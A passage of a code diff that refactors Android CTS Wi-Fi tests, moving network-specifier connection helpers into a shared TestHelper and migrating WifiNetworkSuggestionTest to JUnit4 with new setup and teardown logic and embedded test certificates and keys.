         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mTestHelper = new TestHelper(mContext, mUiDevice);
 
         assumeTrue(WifiFeature.isWifiSupported(mContext));
 
         // turn screen on
-        turnScreenOn();
+        mTestHelper.turnScreenOn();
 
         // Clear any existing app state before each test.
         if (BuildCompat.isAtLeastS()) {
@@ -285,8 +270,9 @@
 
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.getPrivilegedConfiguredNetworks());
-        // Pick the last saved network on the device (assumes that it is in range)
-        mTestNetwork = savedNetworks.get(savedNetworks.size()  - 1);
+        // Pick any network in range.
+        mTestNetwork = TestHelper.findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks)
+                .get(0);
 
         // Wait for Wifi to be disconnected.
         PollingCheck.check(
@@ -298,261 +284,25 @@
     @After
     public void tearDown() throws Exception {
         // If there is failure, ensure we unregister the previous request.
-        if (mNetworkCallback != null) {
-            mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+        if (mNrNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
         }
         // Clear any existing app state after each test.
         if (BuildCompat.isAtLeastS()) {
             ShellIdentityUtils.invokeWithShellPermissions(
                     () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
         }
-        turnScreenOff();
-    }
-
-    private static void setWifiEnabled(boolean enable) throws Exception {
-        // now trigger the change using shell commands.
-        SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
-    }
-
-    private void turnScreenOn() throws Exception {
-        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        mUiDevice.executeShellCommand("wm dismiss-keyguard");
-        // Since the screen on/off intent is ordered, they will not be sent right now.
-        Thread.sleep(DURATION_SCREEN_TOGGLE);
-    }
-
-    private void turnScreenOff() throws Exception {
-        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
-        // Since the screen on/off intent is ordered, they will not be sent right now.
-        Thread.sleep(DURATION_SCREEN_TOGGLE);
-    }
-
-    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final Object mLock;
-        public boolean onAvailableCalled = false;
-        public boolean onUnavailableCalled = false;
-        public NetworkCapabilities networkCapabilities;
-
-        TestNetworkCallback(Object lock) {
-            mLock = lock;
-        }
-
-        @Override
-        public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
-                LinkProperties linkProperties, boolean blocked) {
-            synchronized (mLock) {
-                onAvailableCalled = true;
-                this.networkCapabilities = networkCapabilities;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onUnavailable() {
-            synchronized (mLock) {
-                onUnavailableCalled = true;
-                mLock.notify();
-            }
-        }
-    }
-
-    private static class TestNetworkRequestMatchCallback implements NetworkRequestMatchCallback {
-        private final Object mLock;
-
-        public boolean onRegistrationCalled = false;
-        public boolean onAbortCalled = false;
-        public boolean onMatchCalled = false;
-        public boolean onConnectSuccessCalled = false;
-        public boolean onConnectFailureCalled = false;
-        public WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback = null;
-        public List<ScanResult> matchedScanResults = null;
-
-        TestNetworkRequestMatchCallback(Object lock) {
-            mLock = lock;
-        }
-
-        @Override
-        public void onUserSelectionCallbackRegistration(
-                WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback) {
-            synchronized (mLock) {
-                onRegistrationCalled = true;
-                this.userSelectionCallback = userSelectionCallback;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onAbort() {
-            synchronized (mLock) {
-                onAbortCalled = true;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onMatch(List<ScanResult> scanResults) {
-            synchronized (mLock) {
-                // This can be invoked multiple times. So, ignore after the first one to avoid
-                // disturbing the rest of the test sequence.
-                if (onMatchCalled) return;
-                onMatchCalled = true;
-                matchedScanResults = scanResults;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onUserSelectionConnectSuccess(WifiConfiguration config) {
-            synchronized (mLock) {
-                onConnectSuccessCalled = true;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onUserSelectionConnectFailure(WifiConfiguration config) {
-            synchronized (mLock) {
-                onConnectFailureCalled = true;
-                mLock.notify();
-            }
-        }
-    }
-
-    private void handleUiInteractions(boolean shouldUserReject) {
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        TestNetworkRequestMatchCallback networkRequestMatchCallback =
-                new TestNetworkRequestMatchCallback(mUiLock);
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-
-            // 1. Wait for registration callback.
-            synchronized (mUiLock) {
-                try {
-                    mWifiManager.registerNetworkRequestMatchCallback(
-                            Executors.newSingleThreadExecutor(), networkRequestMatchCallback);
-                    mUiLock.wait(DURATION_UI_INTERACTION);
-                } catch (InterruptedException e) {
-                }
-            }
-            assertTrue(networkRequestMatchCallback.onRegistrationCalled);
-            assertNotNull(networkRequestMatchCallback.userSelectionCallback);
-
-            // 2. Wait for matching scan results
-            synchronized (mUiLock) {
-                try {
-                    mUiLock.wait(DURATION_UI_INTERACTION);
-                } catch (InterruptedException e) {
-                }
-            }
-            assertTrue(networkRequestMatchCallback.onMatchCalled);
-            assertNotNull(networkRequestMatchCallback.matchedScanResults);
-            assertThat(networkRequestMatchCallback.matchedScanResults.size()).isAtLeast(1);
-
-            // 3. Trigger connection to one of the matched networks or reject the request.
-            if (shouldUserReject) {
-                networkRequestMatchCallback.userSelectionCallback.reject();
-            } else {
-                networkRequestMatchCallback.userSelectionCallback.select(mTestNetwork);
-            }
-
-            // 4. Wait for connection success or abort.
-            synchronized (mUiLock) {
-                try {
-                    mUiLock.wait(DURATION_UI_INTERACTION);
-                } catch (InterruptedException e) {
-                }
-            }
-            if (shouldUserReject) {
-                assertTrue(networkRequestMatchCallback.onAbortCalled);
-            } else {
-                assertTrue(networkRequestMatchCallback.onConnectSuccessCalled);
-            }
-        } finally {
-            mWifiManager.unregisterNetworkRequestMatchCallback(networkRequestMatchCallback);
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-    /**
-     * Tests the entire connection flow using the provided specifier.
-     *
-     * @param specifier Specifier to use for network request.
-     * @param shouldUserReject Whether to simulate user rejection or not.
-     */
-    private void testConnectionFlowWithSpecifier(
-            WifiNetworkSpecifier specifier, boolean shouldUserReject) {
-        // Fork a thread to handle the UI interactions.
-        Thread uiThread = new Thread(() -> handleUiInteractions(shouldUserReject));
-
-        // File the network request & wait for the callback.
-        mNetworkCallback = new TestNetworkCallback(mLock);
-        synchronized (mLock) {
-            try {
-                // File a request for wifi network.
-                mConnectivityManager.requestNetwork(
-                        new NetworkRequest.Builder()
-                                .addTransportType(TRANSPORT_WIFI)
-                                .removeCapability(NET_CAPABILITY_INTERNET)
-                                .setNetworkSpecifier(specifier)
-                                .build(),
-                        mNetworkCallback);
-                // Wait for the request to reach the wifi stack before kick-starting the UI
-                // interactions.
-                Thread.sleep(100);
-                // Start the UI interactions.
-                uiThread.run();
-                // now wait for callback
-                mLock.wait(DURATION_NETWORK_CONNECTION);
-            } catch (InterruptedException e) {
-            }
-        }
-        if (shouldUserReject) {
-            assertTrue(mNetworkCallback.onUnavailableCalled);
-        } else {
-            assertTrue(mNetworkCallback.onAvailableCalled);
-        }
-
-        try {
-            // Ensure that the UI interaction thread has completed.
-            uiThread.join(DURATION_UI_INTERACTION);
-        } catch (InterruptedException e) {
-            fail("UI interaction interrupted");
-        }
-
-        // Release the request after the test.
-        mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
-        mNetworkCallback = null;
+        mTestHelper.turnScreenOff();
     }
 
     private void testSuccessfulConnectionWithSpecifier(WifiNetworkSpecifier specifier) {
-        testConnectionFlowWithSpecifier(specifier, false);
+        mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
+                mTestNetwork, specifier, false);
     }
 
     private void testUserRejectionWithSpecifier(WifiNetworkSpecifier specifier) {
-        testConnectionFlowWithSpecifier(specifier, true);
-    }
-
-    private static String removeDoubleQuotes(String string) {
-        return WifiInfo.sanitizeSsid(string);
-    }
-
-    private WifiNetworkSpecifier.Builder createSpecifierBuilderWithCredentialFromSavedNetwork() {
-        WifiNetworkSpecifier.Builder specifierBuilder = new WifiNetworkSpecifier.Builder();
-        if (mTestNetwork.preSharedKey != null) {
-            if (mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
-                specifierBuilder.setWpa2Passphrase(removeDoubleQuotes(mTestNetwork.preSharedKey));
-            } else if (mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
-                specifierBuilder.setWpa3Passphrase(removeDoubleQuotes(mTestNetwork.preSharedKey));
-            } else {
-                fail("Unsupported security type found in saved networks");
-            }
-        } else if (mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
-            specifierBuilder.setIsEnhancedOpen(true);
-        } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
-            fail("Unsupported security type found in saved networks");
-        }
-        specifierBuilder.setIsHiddenSsid(mTestNetwork.hiddenSSID);
-        return specifierBuilder;
+        mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
+                mTestNetwork, specifier, true);
     }
 
     /**
@@ -560,8 +310,9 @@
      */
     @Test
     public void testConnectionWithSpecificSsid() {
-        WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetwork(
+                        mTestNetwork)
                 .build();
         testSuccessfulConnectionWithSpecifier(specifier);
     }
@@ -573,79 +324,28 @@
     public void testConnectionWithSsidPattern() {
         // Creates a ssid pattern by dropping the last char in the saved network & pass that
         // as a prefix match pattern in the request.
-        String ssidUnquoted = removeDoubleQuotes(mTestNetwork.SSID);
+        String ssidUnquoted = WifiInfo.sanitizeSsid(mTestNetwork.SSID);
         assertThat(ssidUnquoted.length()).isAtLeast(2);
         String ssidPrefix = ssidUnquoted.substring(0, ssidUnquoted.length() - 1);
         // Note: The match may return more than 1 network in this case since we use a prefix match,
         // But, we will still ensure that the UI interactions in the test still selects the
         // saved network for connection.
-        WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetwork(mTestNetwork)
                 .setSsidPattern(new PatternMatcher(ssidPrefix, PatternMatcher.PATTERN_PREFIX))
                 .build();
         testSuccessfulConnectionWithSpecifier(specifier);
     }
 
-    private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
-        private final Object mLock;
-        public boolean onAvailableCalled = false;
-
-        TestScanResultsCallback(Object lock) {
-            mLock = lock;
-        }
-
-        @Override
-        public void onScanResultsAvailable() {
-            synchronized (mLock) {
-                onAvailableCalled = true;
-                mLock.notify();
-            }
-        }
-    }
-
-    /**
-     * Loops through all available scan results and finds the first match for the saved network.
-     *
-     * Note:
-     * a) If there are more than 2 networks with the same SSID, but different credential type, then
-     * this matching may pick the wrong one.
-     */
-    private ScanResult findScanResultMatchingSavedNetwork() {
-        for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
-            // Trigger a scan to get fresh scan results.
-            TestScanResultsCallback scanResultsCallback = new TestScanResultsCallback(mLock);
-            synchronized (mLock) {
-                try {
-                    mWifiManager.registerScanResultsCallback(
-                            Executors.newSingleThreadExecutor(), scanResultsCallback);
-                    mWifiManager.startScan(new WorkSource(myUid()));
-                    // now wait for callback
-                    mLock.wait(DURATION_NETWORK_CONNECTION);
-                } catch (InterruptedException e) {
-                } finally {
-                    mWifiManager.unregisterScanResultsCallback(scanResultsCallback);
-                }
-            }
-            List<ScanResult> scanResults = mWifiManager.getScanResults();
-            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
-            for (ScanResult scanResult : scanResults) {
-                if (TextUtils.equals(scanResult.SSID, removeDoubleQuotes(mTestNetwork.SSID))) {
-                    return scanResult;
-                }
-            }
-        }
-        fail("No matching scan results found");
-        return null;
-    }
-
     /**
      * Tests the entire connection flow using a specific BSSID in the specifier.
      */
     @Test
     public void testConnectionWithSpecificBssid() {
-        ScanResult scanResult = findScanResultMatchingSavedNetwork();
-        WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
-                .setBssid(MacAddress.fromString(scanResult.BSSID))
-                .build();
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .build();
         testSuccessfulConnectionWithSpecifier(specifier);
     }
 
@@ -654,14 +354,15 @@
      */
     @Test
     public void testConnectionWithBssidPattern() {
-        ScanResult scanResult = findScanResultMatchingSavedNetwork();
         // Note: The match may return more than 1 network in this case since we use a prefix match,
         // But, we will still ensure that the UI interactions in the test still selects the
         // saved network for connection.
-        WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
-                .setBssidPattern(MacAddress.fromString(scanResult.BSSID),
-                        MacAddress.fromString("ff:ff:ff:00:00:00"))
-                .build();
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetwork)
+                        .setBssidPattern(MacAddress.fromString(mTestNetwork.BSSID),
+                                MacAddress.fromString("ff:ff:ff:00:00:00"))
+                        .build();
         testSuccessfulConnectionWithSpecifier(specifier);
     }
 
@@ -670,9 +371,10 @@
      */
     @Test
     public void testUserRejectionWithSpecificSsid() {
-        WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
-                .build();
+        WifiNetworkSpecifier specifier =
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetwork(
+                        mTestNetwork)
+                        .build();
         testUserRejectionWithSpecifier(specifier);
     }
 
@@ -683,11 +385,11 @@
     @Test
     public void testBuilderForWpa2Enterprise() {
         WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa2EnterpriseConfig(new WifiEnterpriseConfig())
                 .build();
         WifiNetworkSpecifier specifier2 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa2EnterpriseConfig(new WifiEnterpriseConfig())
                 .build();
         assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
@@ -700,11 +402,11 @@
     @Test
     public void testBuilderForWpa3Enterprise() {
         WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa3EnterpriseConfig(new WifiEnterpriseConfig())
                 .build();
         WifiNetworkSpecifier specifier2 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa3EnterpriseConfig(new WifiEnterpriseConfig())
                 .build();
         assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
@@ -717,11 +419,11 @@
     @Test
     public void testBuilderForWpa3EnterpriseWithStandardApi() {
         WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa3EnterpriseStandardModeConfig(new WifiEnterpriseConfig())
                 .build();
         WifiNetworkSpecifier specifier2 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa3EnterpriseConfig(new WifiEnterpriseConfig())
                 .build();
         assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
@@ -741,11 +443,11 @@
         enterpriseConfig.setAltSubjectMatch("domain.com");
 
         WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
                 .build();
         WifiNetworkSpecifier specifier2 = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
+                .setSsid(WifiInfo.sanitizeSsid(mTestNetwork.SSID))
                 .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
                 .build();
         assertThat(specifier1.canBeSatisfiedBy(specifier2)).isTrue();
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
index 8e21d3e..acfc16d 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSuggestionTest.java
@@ -16,20 +16,54 @@
 
 package android.net.wifi.cts;
 
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PAID;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE;
 import static android.net.wifi.WifiEnterpriseConfig.Eap.AKA;
 import static android.net.wifi.WifiEnterpriseConfig.Eap.WAPI_CERT;
+import static android.os.Process.myUid;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
 import android.net.MacAddress;
+import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiEnterpriseConfig;
+import android.net.wifi.WifiManager;
 import android.net.wifi.WifiNetworkSuggestion;
 import android.net.wifi.hotspot2.PasspointConfiguration;
 import android.net.wifi.hotspot2.pps.Credential;
 import android.net.wifi.hotspot2.pps.HomeSp;
 import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
 
 import androidx.core.os.BuildCompat;
+import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.ByteArrayInputStream;
 import java.io.InputStream;
@@ -41,10 +75,16 @@
 import java.security.cert.X509Certificate;
 import java.security.spec.InvalidKeySpecException;
 import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.List;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
 
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 @SmallTest
-public class WifiNetworkSuggestionTest extends WifiJUnit3TestBase {
+@RunWith(AndroidJUnit4.class)
+public class WifiNetworkSuggestionTest extends WifiJUnit4TestBase {
+    private static final String TAG = "WifiNetworkSuggestionTest";
+
     private static final String TEST_SSID = "testSsid";
     private static final String TEST_BSSID = "00:df:aa:bc:12:23";
     private static final String TEST_PASSPHRASE = "testPassword";
@@ -52,23 +92,134 @@
     private static final int TEST_PRIORITY_GROUP = 1;
     private static final int TEST_SUB_ID = 1;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+    private static boolean sWasWifiEnabled;
+
+    private Context mContext;
+    private WifiManager mWifiManager;
+    private ConnectivityManager mConnectivityManager;
+    private UiDevice mUiDevice;
+    private WifiConfiguration mTestNetwork;
+    private ConnectivityManager.NetworkCallback mNsNetworkCallback;
+    private ScheduledExecutorService mExecutorService;
+    private TestHelper mTestHelper;
+
+    private static final int DURATION_MILLIS = 10_000;
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        // skip the test if WiFi is not supported
+        // Don't use assumeTrue in @BeforeClass
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        // turn on verbose logging for tests
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(true));
+        // Disable scan throttling for tests.
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isScanThrottleEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(false));
+
+        // enable Wifi
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isWifiEnabled());
+        if (!wifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
         }
+        PollingCheck.check("Wifi not enabled", DURATION_MILLIS, () -> wifiManager.isWifiEnabled());
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            super.tearDown();
-            return;
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mExecutorService = Executors.newSingleThreadScheduledExecutor();
+        mTestHelper = new TestHelper(mContext, mUiDevice);
+
+        // skip the test if WiFi is not supported
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+        // skip the test if location is not supported
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION));
+
+        assertWithMessage("Please enable location for this test!").that(
+                mContext.getSystemService(LocationManager.class).isLocationEnabled()).isTrue();
+
+        // turn screen on
+        mTestHelper.turnScreenOn();
+
+        // Clear any existing app state before each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+
+        // check we have >= 1 saved network
+        List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.getPrivilegedConfiguredNetworks());
+        assertFalse("Need at least one saved network", savedNetworks.isEmpty());
+        // Pick any network in range.
+        mTestNetwork = TestHelper.findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks)
+                .get(0);
+
+        // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+        // interfering with the test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                        mWifiManager.disableNetwork(savedNetwork.networkId);
+                    }
+                    mWifiManager.disconnect();
+                });
+
+        // Wait for Wifi to be disconnected.
+        PollingCheck.check(
+                "Wifi not disconnected",
+                20_000,
+                () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Re-enable networks.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
+                        mWifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+        // Release the requests after the test.
+        if (mNsNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNsNetworkCallback);
         }
-        super.tearDown();
+        mExecutorService.shutdownNow();
+        // Clear any existing app state after each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        mTestHelper.turnScreenOff();
     }
 
     private static final String CA_SUITE_B_RSA3072_CERT_STRING =
@@ -99,7 +250,7 @@
                     + "27HHbC0JXjNvlm2DLp23v4NTxS7WZGYsxyUj5DZrxBxqCsTXu/01w1BrQKWKh9FM\n"
                     + "aVrlA8omfVODK2CSuw+KhEMHepRv/AUgsLl4L4+RMoa+\n"
                     + "-----END CERTIFICATE-----\n";
-    public static final X509Certificate CA_SUITE_B_RSA3072_CERT =
+    private static final X509Certificate CA_SUITE_B_RSA3072_CERT =
             loadCertificate(CA_SUITE_B_RSA3072_CERT_STRING);
 
     private static final String CA_SUITE_B_ECDSA_CERT_STRING =
@@ -118,7 +269,7 @@
                     + "5soIeLVYc8bPYN1pbhXW1gIxALdEe2sh03nBHyQH4adYoZungoCwt8mp/7sJFxou\n"
                     + "9UnRegyBgGzf74ROWdpZHzh+Pg==\n"
                     + "-----END CERTIFICATE-----\n";
-    public static final X509Certificate CA_SUITE_B_ECDSA_CERT =
+    private static final X509Certificate CA_SUITE_B_ECDSA_CERT =
             loadCertificate(CA_SUITE_B_ECDSA_CERT_STRING);
 
     private static final String CLIENT_SUITE_B_RSA3072_CERT_STRING =
@@ -147,7 +298,7 @@
                     + "HVVcP7U8RgqrbIjL1QgHU4KBhGi+WSUh/mRplUCNvHgcYdcHi/gHpj/j6ubwqIGV\n"
                     + "z4iSolAHYTmBWcLyE0NgpzE6ntp+53r2KaUJA99l2iGVzbWTwqPSm0XAVw==\n"
                     + "-----END CERTIFICATE-----\n";
-    public static final X509Certificate CLIENT_SUITE_B_RSA3072_CERT =
+    private static final X509Certificate CLIENT_SUITE_B_RSA3072_CERT =
             loadCertificate(CLIENT_SUITE_B_RSA3072_CERT_STRING);
 
     private static final byte[] CLIENT_SUITE_B_RSA3072_KEY_DATA = new byte[]{
@@ -451,7 +602,7 @@
             (byte) 0x93, (byte) 0x9e, (byte) 0x62, (byte) 0x94, (byte) 0xc6, (byte) 0x07,
             (byte) 0x83, (byte) 0x96, (byte) 0xd6, (byte) 0x27, (byte) 0xa6, (byte) 0xd8
     };
-    public static final PrivateKey CLIENT_SUITE_B_RSA3072_KEY =
+    private static final PrivateKey CLIENT_SUITE_B_RSA3072_KEY =
             loadPrivateKey("RSA", CLIENT_SUITE_B_RSA3072_KEY_DATA);
 
     private static final String CLIENT_SUITE_B_ECDSA_CERT_STRING =
@@ -468,7 +619,7 @@
                     + "ueJmP87KF92/thhoQ9OrRo8uJITPmNDswwIwP2Q1AZCSL4BI9dYrqu07Ar+pSkXE\n"
                     + "R7oOqGdZR+d/MvXcFSrbIaLKEoHXmQamIHLe\n"
                     + "-----END CERTIFICATE-----\n";
-    public static final X509Certificate CLIENT_SUITE_B_ECDSA_CERT =
+    private static final X509Certificate CLIENT_SUITE_B_ECDSA_CERT =
             loadCertificate(CLIENT_SUITE_B_ECDSA_CERT_STRING);
 
     private static final byte[] CLIENT_SUITE_B_ECC_KEY_DATA = new byte[]{
@@ -504,7 +655,7 @@
             (byte) 0x4c, (byte) 0x8b, (byte) 0xe1, (byte) 0x93, (byte) 0x42, (byte) 0x0d,
             (byte) 0x67, (byte) 0x1d, (byte) 0xc3, (byte) 0xa2, (byte) 0xeb
     };
-    public static final PrivateKey CLIENT_SUITE_B_ECC_KEY =
+    private static final PrivateKey CLIENT_SUITE_B_ECC_KEY =
             loadPrivateKey("EC", CLIENT_SUITE_B_ECC_KEY_DATA);
 
     private static X509Certificate loadCertificate(String blob) {
@@ -588,11 +739,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa2Passphrase() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
                 .setWpa2Passphrase(TEST_PASSPHRASE)
@@ -606,11 +754,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa3Passphrase() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
